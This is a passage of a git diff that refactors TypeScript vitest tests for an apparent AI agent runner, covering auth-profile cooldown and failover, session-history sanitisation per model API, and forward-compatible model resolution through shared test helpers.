["ok"], - lastAssistant: buildAssistant({ - stopReason: "stop", - content: [{ type: "text", text: "ok" }], - }), - }), - ); - - await runEmbeddedPiAgent({ - sessionId: "session:test", - sessionKey: "agent:test:user-cooldown", - sessionFile: path.join(workspaceDir, "session.jsonl"), - workspaceDir, - agentDir, - config: makeConfig(), - prompt: "hello", - provider: "openai", - model: "mock-1", - authProfileId: "openai:p1", - authProfileIdSource: "user", - timeoutMs: 5_000, - runId: "run:user-cooldown", - }); - - expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1); - - const stored = JSON.parse( - await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"), - ) as { - usageStats?: Record; - }; - expect(stored.usageStats?.["openai:p1"]?.cooldownUntil).toBeUndefined(); - expect(stored.usageStats?.["openai:p1"]?.lastUsed).not.toBe(1); - expect(stored.usageStats?.["openai:p2"]?.lastUsed).toBe(2); - } finally { - await fs.rm(agentDir, { recursive: true, force: true }); - await fs.rm(workspaceDir, { recursive: true, force: true }); - } - } finally { - vi.useRealTimers(); - } + expect(usageStats["openai:p1"]?.cooldownUntil).toBeUndefined(); + expect(usageStats["openai:p1"]?.lastUsed).not.toBe(1); + expect(usageStats["openai:p2"]?.lastUsed).toBe(2); }); it("ignores user-locked profile when provider mismatches", async () => { @@ -429,116 +433,50 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }); it("skips profiles in cooldown during initial selection", async () => { - vi.useFakeTimers(); - try { - const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-")); - const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-")); - const now = Date.now(); - vi.setSystemTime(now); + const { usageStats, now } = await runTurnWithCooldownSeed({ + sessionKey: "agent:test:skip-cooldown", + runId: "run:skip-cooldown", + authProfileId: undefined, + authProfileIdSource: "auto", + }); - try { - const authPath = path.join(agentDir, "auth-profiles.json"); - const payload = { - version: 1, - profiles: { - "openai:p1": { type: "api_key", provider: "openai", key: "sk-one" }, - "openai:p2": { type: "api_key", provider: "openai", key: "sk-two" }, - }, - usageStats: { - "openai:p1": { lastUsed: 1, cooldownUntil: now + 60 * 60 * 1000 }, // p1 in cooldown for 1 hour - "openai:p2": { lastUsed: 2 }, - }, - }; - await fs.writeFile(authPath, JSON.stringify(payload)); - - runEmbeddedAttemptMock.mockResolvedValueOnce( - makeAttempt({ - assistantTexts: ["ok"], - lastAssistant: buildAssistant({ - stopReason: "stop", - content: [{ type: "text", text: "ok" }], - }), - }), - ); - - await runEmbeddedPiAgent({ - sessionId: "session:test", - sessionKey: "agent:test:skip-cooldown", - sessionFile: path.join(workspaceDir, "session.jsonl"), - workspaceDir, - agentDir, - config: makeConfig(), - prompt: "hello", - provider: "openai", - model: "mock-1", - authProfileId: undefined, - authProfileIdSource: "auto", - timeoutMs: 5_000, - runId: "run:skip-cooldown", - }); - - expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1); - - const stored = JSON.parse( - await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"), - ) as { usageStats?: Record }; - expect(stored.usageStats?.["openai:p1"]?.cooldownUntil).toBe(now + 60 * 60 * 1000); - expect(typeof stored.usageStats?.["openai:p2"]?.lastUsed).toBe("number"); - } finally { - await fs.rm(agentDir, { recursive: true, force: true }); - await fs.rm(workspaceDir, { recursive: true, force: true }); - } - } finally { - vi.useRealTimers(); - } + expect(usageStats["openai:p1"]?.cooldownUntil).toBe(now + 60 * 60 * 1000); + expect(typeof usageStats["openai:p2"]?.lastUsed).toBe("number"); }); it("fails over when all profiles are in cooldown and fallbacks are configured", async () => { - vi.useFakeTimers(); - try { - const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-")); - const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-")); - const now = Date.now(); - vi.setSystemTime(now); + await withTimedAgentWorkspace(async ({ agentDir, workspaceDir, now }) => { + await writeAuthStore(agentDir, { + usageStats: { + "openai:p1": { lastUsed: 1, cooldownUntil: now + 60 * 60 * 1000 }, + "openai:p2": { lastUsed: 2, cooldownUntil: now + 60 * 60 * 1000 }, + }, + }); - try { - await writeAuthStore(agentDir, { - usageStats: { - "openai:p1": { lastUsed: 1, cooldownUntil: now + 60 * 60 * 1000 }, - "openai:p2": { lastUsed: 2, cooldownUntil: now + 60 * 60 * 1000 }, - }, - }); - - await expect( - runEmbeddedPiAgent({ - sessionId: "session:test", - sessionKey: "agent:test:cooldown-failover", - sessionFile: path.join(workspaceDir, "session.jsonl"), - workspaceDir, - agentDir, - config: makeConfig({ fallbacks: ["openai/mock-2"] }), - prompt: "hello", - provider: "openai", - model: "mock-1", - authProfileIdSource: "auto", - timeoutMs: 5_000, - runId: "run:cooldown-failover", - }), - ).rejects.toMatchObject({ - name: "FailoverError", - reason: "rate_limit", + await expect( + runEmbeddedPiAgent({ + sessionId: "session:test", + sessionKey: "agent:test:cooldown-failover", + sessionFile: path.join(workspaceDir, "session.jsonl"), + workspaceDir, + agentDir, + config: makeConfig({ fallbacks: ["openai/mock-2"] }), + prompt: "hello", provider: "openai", model: "mock-1", - }); + authProfileIdSource: "auto", + timeoutMs: 5_000, + runId: "run:cooldown-failover", + }), + ).rejects.toMatchObject({ + name: "FailoverError", + reason: "rate_limit", + provider: "openai", + model: "mock-1", + }); - expect(runEmbeddedAttemptMock).not.toHaveBeenCalled(); - } finally { - await fs.rm(agentDir, { recursive: true, force: true }); - await fs.rm(workspaceDir, { recursive: true, force: true }); - } - } finally { - vi.useRealTimers(); - } + expect(runEmbeddedAttemptMock).not.toHaveBeenCalled(); + }); }); it("fails over when auth is unavailable and fallbacks are configured", async () => { @@ -604,52 +542,19 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }; await fs.writeFile(authPath, JSON.stringify(payload)); - runEmbeddedAttemptMock - .mockResolvedValueOnce( - makeAttempt({ - assistantTexts: [], - lastAssistant: buildAssistant({ - stopReason: "error", - errorMessage: "rate limit", - }), - }), - ) - .mockResolvedValueOnce( - makeAttempt({ - assistantTexts: ["ok"], - lastAssistant: buildAssistant({ - stopReason: "stop", - content: [{ type: "text", text: "ok" }], - }), - }), - ); - - await runEmbeddedPiAgent({ - sessionId: "session:test", - sessionKey: "agent:test:rotate-skip-cooldown", - sessionFile: path.join(workspaceDir, "session.jsonl"), - workspaceDir, + mockFailedThenSuccessfulAttempt("rate limit"); + await runAutoPinnedOpenAiTurn({ agentDir, - config: makeConfig(), - prompt: "hello", - provider: "openai", - model: "mock-1", - authProfileId: "openai:p1", - authProfileIdSource: "auto", - timeoutMs: 5_000, + workspaceDir, + sessionKey: "agent:test:rotate-skip-cooldown", runId: "run:rotate-skip-cooldown", }); expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2); - - const stored = JSON.parse( - await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"), - ) as { - usageStats?: Record; - }; - expect(typeof stored.usageStats?.["openai:p1"]?.lastUsed).toBe("number"); - expect(typeof stored.usageStats?.["openai:p3"]?.lastUsed).toBe("number"); - expect(stored.usageStats?.["openai:p2"]?.cooldownUntil).toBe(now + 60 * 60 * 1000); + const usageStats = await readUsageStats(agentDir); + expect(typeof usageStats["openai:p1"]?.lastUsed).toBe("number"); + expect(typeof usageStats["openai:p3"]?.lastUsed).toBe("number"); + expect(usageStats["openai:p2"]?.cooldownUntil).toBe(now + 60 * 60 * 1000); } finally { await fs.rm(agentDir, { recursive: true, force: true }); await fs.rm(workspaceDir, { recursive: true, force: true }); diff --git a/src/agents/pi-embedded-runner.sanitize-session-history.e2e.test.ts b/src/agents/pi-embedded-runner.sanitize-session-history.e2e.test.ts index d4f4488b6dc..58d40a608d7 100644 --- a/src/agents/pi-embedded-runner.sanitize-session-history.e2e.test.ts +++ b/src/agents/pi-embedded-runner.sanitize-session-history.e2e.test.ts @@ -1,11 +1,12 @@ -import type { AgentMessage } from "@mariozechner/pi-agent-core"; -import type { SessionManager } from "@mariozechner/pi-coding-agent"; import { beforeEach, describe, expect, it, vi } from "vitest"; import * as helpers from "./pi-embedded-helpers.js"; import { - makeInMemorySessionManager, - makeModelSnapshotEntry, - makeReasoningAssistantMessages, + expectGoogleModelApiFullSanitizeCall, + loadSanitizeSessionHistoryWithCleanMocks, + makeMockSessionManager, + makeSimpleUserMessages, + makeSnapshotChangedOpenAIReasoningScenario, + sanitizeWithOpenAIResponses, } from "./pi-embedded-runner.sanitize-session-history.test-harness.js"; type SanitizeSessionHistory = @@ -22,45 +23,28 @@ vi.mock("./pi-embedded-helpers.js", async () => { }); describe("sanitizeSessionHistory e2e smoke", () => { - const mockSessionManager = { - getEntries: vi.fn().mockReturnValue([]), - appendCustomEntry: vi.fn(), - } as unknown as SessionManager; - const mockMessages: AgentMessage[] = [{ role: "user", content: "hello" }]; + const mockSessionManager = makeMockSessionManager(); + const mockMessages = makeSimpleUserMessages(); beforeEach(async () => { - vi.resetAllMocks(); - vi.mocked(helpers.sanitizeSessionMessagesImages).mockImplementation(async (msgs) => msgs); - ({ sanitizeSessionHistory } = await import("./pi-embedded-runner/google.js")); + sanitizeSessionHistory = await loadSanitizeSessionHistoryWithCleanMocks(); }); it("applies full sanitize policy for google model APIs", async () => { - vi.mocked(helpers.isGoogleModelApi).mockReturnValue(true); - - await sanitizeSessionHistory({ + await expectGoogleModelApiFullSanitizeCall({ + sanitizeSessionHistory, messages: mockMessages, - modelApi: "google-generative-ai", - provider: "google-vertex", sessionManager: mockSessionManager, - sessionId: "test-session", }); - - expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith( - mockMessages, - "session:history", - expect.objectContaining({ sanitizeMode: "full", sanitizeToolCallIds: true }), - ); }); it("keeps images-only sanitize policy without tool-call id rewriting for openai-responses", async () => { vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false); - await sanitizeSessionHistory({ + await sanitizeWithOpenAIResponses({ + sanitizeSessionHistory, messages: mockMessages, - modelApi: "openai-responses", - provider: "openai", sessionManager: mockSessionManager, - sessionId: "test-session", }); expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith( @@ -74,23 +58,13 @@ describe("sanitizeSessionHistory e2e smoke", () => { }); it("downgrades openai reasoning blocks when the model snapshot changed", async () => { - const sessionEntries = [ - makeModelSnapshotEntry({ - provider: "anthropic", - modelApi: "anthropic-messages", - modelId: "claude-3-7", - }), - ]; - const sessionManager = makeInMemorySessionManager(sessionEntries); - const messages = makeReasoningAssistantMessages({ thinkingSignature: "object" }); + const { sessionManager, messages, modelId } = makeSnapshotChangedOpenAIReasoningScenario(); - const result = await sanitizeSessionHistory({ + const result = await sanitizeWithOpenAIResponses({ + sanitizeSessionHistory, messages, - modelApi: "openai-responses", - provider: "openai", - modelId: "gpt-5.2-codex", + modelId, sessionManager, - sessionId: "test-session", }); expect(result).toEqual([]); diff --git a/src/agents/pi-embedded-runner.sanitize-session-history.test-harness.ts b/src/agents/pi-embedded-runner.sanitize-session-history.test-harness.ts index ec5ff65c54f..bb371798420 100644 --- a/src/agents/pi-embedded-runner.sanitize-session-history.test-harness.ts +++ b/src/agents/pi-embedded-runner.sanitize-session-history.test-harness.ts @@ -1,8 +1,18 @@ import type { AgentMessage } from "@mariozechner/pi-agent-core"; import type { SessionManager } from "@mariozechner/pi-coding-agent"; -import { vi } from "vitest"; +import { expect, vi } from "vitest"; +import * as helpers from "./pi-embedded-helpers.js"; export type SessionEntry = { type: string; customType: string; data: unknown }; +export type SanitizeSessionHistoryFn = (params: { + messages: AgentMessage[]; + modelApi: string; + provider: string; + sessionManager: SessionManager; + sessionId: string; + modelId?: string; +}) => Promise; +export const TEST_SESSION_ID = "test-session"; export function makeModelSnapshotEntry(data: { timestamp?: number; @@ -31,6 +41,25 @@ export function makeInMemorySessionManager(entries: SessionEntry[]): SessionMana } as unknown as SessionManager; } +export function makeMockSessionManager(): SessionManager { + return { + getEntries: vi.fn().mockReturnValue([]), + appendCustomEntry: vi.fn(), + } as unknown as SessionManager; +} + +export function makeSimpleUserMessages(): AgentMessage[] { + const messages = [{ role: "user", content: "hello" }]; + return messages as unknown as AgentMessage[]; +} + +export async function loadSanitizeSessionHistoryWithCleanMocks(): Promise { + vi.resetAllMocks(); + vi.mocked(helpers.sanitizeSessionMessagesImages).mockImplementation(async (msgs) => msgs); + const mod = await import("./pi-embedded-runner/google.js"); + return mod.sanitizeSessionHistory; +} + export function makeReasoningAssistantMessages(opts?: { thinkingSignature?: "object" | "json"; }): AgentMessage[] { @@ -56,3 +85,69 @@ export function makeReasoningAssistantMessages(opts?: { return messages as unknown as AgentMessage[]; } + +export async function sanitizeWithOpenAIResponses(params: { + sanitizeSessionHistory: SanitizeSessionHistoryFn; + messages: AgentMessage[]; + sessionManager: SessionManager; + modelId?: string; +}) { + return await params.sanitizeSessionHistory({ + messages: params.messages, + modelApi: "openai-responses", + provider: "openai", + sessionManager: params.sessionManager, + modelId: params.modelId, + sessionId: TEST_SESSION_ID, + }); +} + +export function expectOpenAIResponsesStrictSanitizeCall( + sanitizeSessionMessagesImagesMock: unknown, + messages: AgentMessage[], +) { + expect(sanitizeSessionMessagesImagesMock).toHaveBeenCalledWith( + messages, + "session:history", + expect.objectContaining({ + sanitizeMode: "images-only", + sanitizeToolCallIds: true, + toolCallIdMode: "strict", + }), + ); +} + +export async function expectGoogleModelApiFullSanitizeCall(params: { + sanitizeSessionHistory: SanitizeSessionHistoryFn; + messages: AgentMessage[]; + sessionManager: SessionManager; +}) { + vi.mocked(helpers.isGoogleModelApi).mockReturnValue(true); + await params.sanitizeSessionHistory({ + messages: params.messages, + modelApi: "google-generative-ai", + provider: "google-vertex", + sessionManager: params.sessionManager, + sessionId: TEST_SESSION_ID, + }); + expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith( + params.messages, + "session:history", + expect.objectContaining({ sanitizeMode: "full", sanitizeToolCallIds: true }), + ); +} + +export function makeSnapshotChangedOpenAIReasoningScenario() { + const sessionEntries = [ + makeModelSnapshotEntry({ + provider: "anthropic", + modelApi: "anthropic-messages", + modelId: "claude-3-7", + }), + ]; + return { + sessionManager: makeInMemorySessionManager(sessionEntries), + messages: makeReasoningAssistantMessages({ thinkingSignature: "object" }), + modelId: "gpt-5.2-codex", + }; +} diff --git a/src/agents/pi-embedded-runner.sanitize-session-history.test.ts b/src/agents/pi-embedded-runner.sanitize-session-history.test.ts index ca463a2e358..de10ae674a8 100644 --- a/src/agents/pi-embedded-runner.sanitize-session-history.test.ts +++ b/src/agents/pi-embedded-runner.sanitize-session-history.test.ts @@ -1,11 +1,17 @@ import type { AgentMessage } from "@mariozechner/pi-agent-core"; -import type { SessionManager } from "@mariozechner/pi-coding-agent"; import { beforeEach, describe, expect, it, vi } from "vitest"; import * as helpers from "./pi-embedded-helpers.js"; import { + expectGoogleModelApiFullSanitizeCall, + loadSanitizeSessionHistoryWithCleanMocks, + makeMockSessionManager, makeInMemorySessionManager, makeModelSnapshotEntry, makeReasoningAssistantMessages, + makeSimpleUserMessages, + makeSnapshotChangedOpenAIReasoningScenario, + sanitizeWithOpenAIResponses, + TEST_SESSION_ID, } from "./pi-embedded-runner.sanitize-session-history.test-harness.js"; type SanitizeSessionHistory = @@ -26,35 +32,19 @@ vi.mock("./pi-embedded-helpers.js", async () => { // We rely on the real implementation which should pass through our simple messages. describe("sanitizeSessionHistory", () => { - const mockSessionManager = { - getEntries: vi.fn().mockReturnValue([]), - appendCustomEntry: vi.fn(), - } as unknown as SessionManager; - - const mockMessages: AgentMessage[] = [{ role: "user", content: "hello" }]; + const mockSessionManager = makeMockSessionManager(); + const mockMessages = makeSimpleUserMessages(); beforeEach(async () => { - vi.resetAllMocks(); - vi.mocked(helpers.sanitizeSessionMessagesImages).mockImplementation(async (msgs) => msgs); - ({ sanitizeSessionHistory } = await import("./pi-embedded-runner/google.js")); + sanitizeSessionHistory = await loadSanitizeSessionHistoryWithCleanMocks(); }); it("sanitizes tool call ids for Google model APIs", async () => { - vi.mocked(helpers.isGoogleModelApi).mockReturnValue(true); - - await sanitizeSessionHistory({ + await expectGoogleModelApiFullSanitizeCall({ + sanitizeSessionHistory, messages: mockMessages, - modelApi: "google-generative-ai", - provider: "google-vertex", sessionManager: mockSessionManager, - sessionId: "test-session", }); - - expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith( - mockMessages, - "session:history", - expect.objectContaining({ sanitizeMode: "full", sanitizeToolCallIds: true }), - ); }); it("sanitizes tool call ids with strict9 for Mistral models", async () => { @@ -66,7 +56,7 @@ describe("sanitizeSessionHistory", () => { provider: "openrouter", modelId: "mistralai/devstral-2512:free", sessionManager: mockSessionManager, - sessionId: "test-session", + sessionId: TEST_SESSION_ID, }); expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith( @@ -88,7 +78,7 @@ describe("sanitizeSessionHistory", () => { modelApi: "anthropic-messages", provider: "anthropic", sessionManager: mockSessionManager, - sessionId: "test-session", + sessionId: TEST_SESSION_ID, }); expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith( @@ -101,12 +91,10 @@ describe("sanitizeSessionHistory", () => { it("does not sanitize tool call ids for openai-responses", async () => { vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false); - await sanitizeSessionHistory({ + await sanitizeWithOpenAIResponses({ + sanitizeSessionHistory, messages: mockMessages, - modelApi: "openai-responses", - provider: "openai", sessionManager: mockSessionManager, - sessionId: "test-session", }); expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith( @@ -136,7 +124,7 @@ describe("sanitizeSessionHistory", () => { modelApi: "openai-responses", provider: "openai", sessionManager: mockSessionManager, - sessionId: "test-session", + sessionId: TEST_SESSION_ID, }); const first = result[0] as Extract; @@ -169,7 +157,7 @@ describe("sanitizeSessionHistory", () => { modelApi: "openai-responses", provider: "openai", sessionManager: mockSessionManager, - sessionId: "test-session", + sessionId: TEST_SESSION_ID, }); expect(result).toHaveLength(2); @@ -189,7 +177,7 @@ describe("sanitizeSessionHistory", () => { modelApi: "openai-responses", provider: "openai", sessionManager: mockSessionManager, - sessionId: "test-session", + sessionId: TEST_SESSION_ID, }); expect(result).toHaveLength(1); @@ -227,36 +215,24 @@ describe("sanitizeSessionHistory", () => { const sessionManager = makeInMemorySessionManager(sessionEntries); const messages = makeReasoningAssistantMessages({ thinkingSignature: "json" }); - const result = await sanitizeSessionHistory({ + const result = await sanitizeWithOpenAIResponses({ + sanitizeSessionHistory, messages, - modelApi: "openai-responses", - provider: "openai", modelId: "gpt-5.2-codex", sessionManager, - sessionId: "test-session", }); expect(result).toEqual(messages); }); - it("downgrades openai reasoning when the model changes", async () => { - const sessionEntries = [ - makeModelSnapshotEntry({ - provider: "anthropic", - modelApi: "anthropic-messages", - modelId: "claude-3-7", - }), - ]; - const sessionManager = makeInMemorySessionManager(sessionEntries); - const messages = makeReasoningAssistantMessages({ thinkingSignature: "object" }); + it("downgrades openai reasoning only when the model changes", async () => { + const { sessionManager, messages, modelId } = makeSnapshotChangedOpenAIReasoningScenario(); - const result = await sanitizeSessionHistory({ + const result = await sanitizeWithOpenAIResponses({ + sanitizeSessionHistory, messages, - modelApi: "openai-responses", - provider: "openai", - modelId: "gpt-5.2-codex", + modelId, sessionManager, - sessionId: "test-session", }); expect(result).toEqual([]); @@ -297,7 +273,7 @@ describe("sanitizeSessionHistory", () => { provider: "anthropic", modelId: "claude-opus-4-6", sessionManager, - sessionId: "test-session", + sessionId: TEST_SESSION_ID, }); expect(result.map((msg) => msg.role)).toEqual(["assistant", "toolResult", "user"]); diff --git a/src/agents/pi-embedded-runner/model.test.ts b/src/agents/pi-embedded-runner/model.test.ts index 71d122ba8ca..5debe686e8d 100644 --- a/src/agents/pi-embedded-runner/model.test.ts +++ b/src/agents/pi-embedded-runner/model.test.ts @@ -6,7 +6,6 @@ vi.mock("../pi-model-discovery.js", () => ({ })); import type { OpenClawConfig } from "../../config/config.js"; -import { discoverModels } from "../pi-model-discovery.js"; import { buildInlineProviderModels, resolveModel } from "./model.js"; import { makeModel, @@ -19,6 +18,48 @@ beforeEach(() => { resetMockDiscoverModels(); }); +function buildForwardCompatTemplate(params: { + id: string; + name: string; + provider: string; + api: "anthropic-messages" | "google-gemini-cli" | "openai-completions"; + baseUrl: string; + input?: readonly ["text"] | readonly ["text", "image"]; + cost?: { input: number; output: number; cacheRead: number; cacheWrite: number }; + contextWindow?: number; + maxTokens?: number; +}) { + return { + id: params.id, + name: params.name, + provider: params.provider, + api: params.api, + baseUrl: params.baseUrl, + reasoning: true, + input: params.input ?? (["text", "image"] as const), + cost: params.cost ?? { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 }, + contextWindow: params.contextWindow ?? 200000, + maxTokens: params.maxTokens ?? 64000, + }; +} + +function expectResolvedForwardCompatFallback(params: { + provider: string; + id: string; + expectedModel: Record; + cfg?: OpenClawConfig; +}) { + const result = resolveModel(params.provider, params.id, "/tmp/agent", params.cfg); + expect(result.error).toBeUndefined(); + expect(result.model).toMatchObject(params.expectedModel); +} + +function expectUnknownModelError(provider: string, id: string) { + const result = resolveModel(provider, id, "/tmp/agent"); + expect(result.model).toBeUndefined(); + expect(result.error).toBe(`Unknown model: ${provider}/${id}`); +} + describe("buildInlineProviderModels", () => { it("attaches provider ids to inline models", () => { const providers = { @@ -151,175 +192,126 @@ describe("resolveModel", () => { }); it("builds an anthropic forward-compat fallback for claude-opus-4-6", () => { - const templateModel = { - id: "claude-opus-4-5", - name: "Claude Opus 4.5", + mockDiscoveredModel({ provider: "anthropic", - api: "anthropic-messages", - baseUrl: "https://api.anthropic.com", - reasoning: true, - input: ["text", "image"] as const, - cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 }, - contextWindow: 200000, - maxTokens: 64000, - }; - - vi.mocked(discoverModels).mockReturnValue({ - find: vi.fn((provider: string, modelId: string) => { - if (provider === "anthropic" && modelId === "claude-opus-4-5") { - return templateModel; - } - return null; + modelId: "claude-opus-4-5", + templateModel: buildForwardCompatTemplate({ + id: "claude-opus-4-5", + name: "Claude Opus 4.5", + provider: "anthropic", + api: "anthropic-messages", + baseUrl: "https://api.anthropic.com", }), - } as unknown as ReturnType); + }); - const result = resolveModel("anthropic", "claude-opus-4-6", "/tmp/agent"); - - expect(result.error).toBeUndefined(); - expect(result.model).toMatchObject({ + expectResolvedForwardCompatFallback({ provider: "anthropic", id: "claude-opus-4-6", - api: "anthropic-messages", - baseUrl: "https://api.anthropic.com", - reasoning: true, + expectedModel: { + provider: "anthropic", + id: "claude-opus-4-6", + api: "anthropic-messages", + baseUrl: "https://api.anthropic.com", + reasoning: true, + }, }); }); it("builds an antigravity forward-compat fallback for claude-opus-4-6-thinking", () => { - const templateModel = { - id: "claude-opus-4-5-thinking", - name: "Claude Opus 4.5 Thinking", + mockDiscoveredModel({ provider: "google-antigravity", - api: "google-gemini-cli", - baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com", - reasoning: true, - input: ["text", "image"] as const, - cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 }, - contextWindow: 200000, - maxTokens: 64000, - }; - - vi.mocked(discoverModels).mockReturnValue({ - find: vi.fn((provider: string, modelId: string) => { - if (provider === "google-antigravity" && modelId === "claude-opus-4-5-thinking") { - return templateModel; - } - return null; + modelId: "claude-opus-4-5-thinking", + templateModel: buildForwardCompatTemplate({ + id: "claude-opus-4-5-thinking", + name: "Claude Opus 4.5 Thinking", + provider: "google-antigravity", + api: "google-gemini-cli", + baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com", }), - } as unknown as ReturnType); + }); - const result = resolveModel("google-antigravity", "claude-opus-4-6-thinking", "/tmp/agent"); - - expect(result.error).toBeUndefined(); - expect(result.model).toMatchObject({ + expectResolvedForwardCompatFallback({ provider: "google-antigravity", id: "claude-opus-4-6-thinking", - api: "google-gemini-cli", - baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com", - reasoning: true, - contextWindow: 200000, - maxTokens: 64000, + expectedModel: { + provider: "google-antigravity", + id: "claude-opus-4-6-thinking", + api: "google-gemini-cli", + baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com", + reasoning: true, + contextWindow: 200000, + maxTokens: 64000, + }, }); }); it("builds an antigravity forward-compat fallback for claude-opus-4-6", () => { - const templateModel = { - id: "claude-opus-4-5", - name: "Claude Opus 4.5", + mockDiscoveredModel({ provider: "google-antigravity", - api: "google-gemini-cli", - baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com", - reasoning: true, - input: ["text", "image"] as const, - cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 }, - contextWindow: 200000, - maxTokens: 64000, - }; - - vi.mocked(discoverModels).mockReturnValue({ - find: vi.fn((provider: string, modelId: string) => { - if (provider === "google-antigravity" && modelId === "claude-opus-4-5") { - return templateModel; - } - return null; + modelId: "claude-opus-4-5", + templateModel: buildForwardCompatTemplate({ + id: "claude-opus-4-5", + name: "Claude Opus 4.5", + provider: "google-antigravity", + api: "google-gemini-cli", + baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com", }), - } as unknown as ReturnType); + }); - const result = resolveModel("google-antigravity", "claude-opus-4-6", "/tmp/agent"); - - expect(result.error).toBeUndefined(); - expect(result.model).toMatchObject({ + expectResolvedForwardCompatFallback({ provider: "google-antigravity", id: "claude-opus-4-6", - api: "google-gemini-cli", - baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com", - reasoning: true, - contextWindow: 200000, - maxTokens: 64000, + expectedModel: { + provider: "google-antigravity", + id: "claude-opus-4-6", + api: "google-gemini-cli", + baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com", + reasoning: true, + contextWindow: 200000, + maxTokens: 64000, + }, }); }); it("builds a zai forward-compat fallback for glm-5", () => { - const templateModel = { - id: "glm-4.7", - name: "GLM-4.7", + mockDiscoveredModel({ provider: "zai", - api: "openai-completions", - baseUrl: "https://api.z.ai/api/paas/v4", - reasoning: true, - input: ["text"] as const, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 200000, - maxTokens: 131072, - }; - - vi.mocked(discoverModels).mockReturnValue({ - find: vi.fn((provider: string, modelId: string) => { - if (provider === "zai" && modelId === "glm-4.7") { - return templateModel; - } - return null; + modelId: "glm-4.7", + templateModel: buildForwardCompatTemplate({ + id: "glm-4.7", + name: "GLM-4.7", + provider: "zai", + api: "openai-completions", + baseUrl: "https://api.z.ai/api/paas/v4", + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + maxTokens: 131072, }), - } as unknown as ReturnType); + }); - const result = resolveModel("zai", "glm-5", "/tmp/agent"); - - expect(result.error).toBeUndefined(); - expect(result.model).toMatchObject({ + expectResolvedForwardCompatFallback({ provider: "zai", id: "glm-5", - api: "openai-completions", - baseUrl: "https://api.z.ai/api/paas/v4", - reasoning: true, + expectedModel: { + provider: "zai", + id: "glm-5", + api: "openai-completions", + baseUrl: "https://api.z.ai/api/paas/v4", + reasoning: true, + }, }); }); it("keeps unknown-model errors when no antigravity thinking template exists", () => { - vi.mocked(discoverModels).mockReturnValue({ - find: vi.fn(() => null), - } as unknown as ReturnType); - - const result = resolveModel("google-antigravity", "claude-opus-4-6-thinking", "/tmp/agent"); - - expect(result.model).toBeUndefined(); - expect(result.error).toBe("Unknown model: google-antigravity/claude-opus-4-6-thinking"); + expectUnknownModelError("google-antigravity", "claude-opus-4-6-thinking"); }); it("keeps unknown-model errors when no antigravity non-thinking template exists", () => { - vi.mocked(discoverModels).mockReturnValue({ - find: vi.fn(() => null), - } as unknown as ReturnType); - - const result = resolveModel("google-antigravity", "claude-opus-4-6", "/tmp/agent"); - - expect(result.model).toBeUndefined(); - expect(result.error).toBe("Unknown model: google-antigravity/claude-opus-4-6"); + expectUnknownModelError("google-antigravity", "claude-opus-4-6"); }); it("keeps unknown-model errors for non-gpt-5 openai-codex ids", () => { - const result = resolveModel("openai-codex", "gpt-4.1-mini", "/tmp/agent"); - expect(result.model).toBeUndefined(); - expect(result.error).toBe("Unknown model: openai-codex/gpt-4.1-mini"); + expectUnknownModelError("openai-codex", "gpt-4.1-mini"); }); it("uses codex fallback even when openai-codex provider is configured", () => { @@ -337,15 +329,15 @@ describe("resolveModel", () => { }, } as OpenClawConfig; - vi.mocked(discoverModels).mockReturnValue({ - find: vi.fn(() => null), - } as unknown as ReturnType); - - const result = resolveModel("openai-codex", "gpt-5.3-codex", "/tmp/agent", cfg); - - expect(result.error).toBeUndefined(); - expect(result.model?.api).toBe("openai-codex-responses"); - expect(result.model?.id).toBe("gpt-5.3-codex"); - expect(result.model?.provider).toBe("openai-codex"); + expectResolvedForwardCompatFallback({ + provider: "openai-codex", + id: "gpt-5.3-codex", + cfg, + expectedModel: { + api: "openai-codex-responses", + id: "gpt-5.3-codex", + provider: "openai-codex", + }, + }); }); }); diff --git a/src/agents/pi-embedded-subscribe.code-span-awareness.e2e.test.ts b/src/agents/pi-embedded-subscribe.code-span-awareness.e2e.test.ts index f74a579eff6..59f7cfe66ab 100644 --- a/src/agents/pi-embedded-subscribe.code-span-awareness.e2e.test.ts +++ b/src/agents/pi-embedded-subscribe.code-span-awareness.e2e.test.ts @@ -1,29 +1,25 @@ import { describe, expect, it, vi } from "vitest"; +import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js"; import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; -type StubSession = { - subscribe: (fn: (evt: unknown) => void) => () => void; -}; - describe("subscribeEmbeddedPiSession thinking tag code span awareness", () => { - it("does not strip thinking tags inside inline code backticks", () => { - let handler: ((evt: 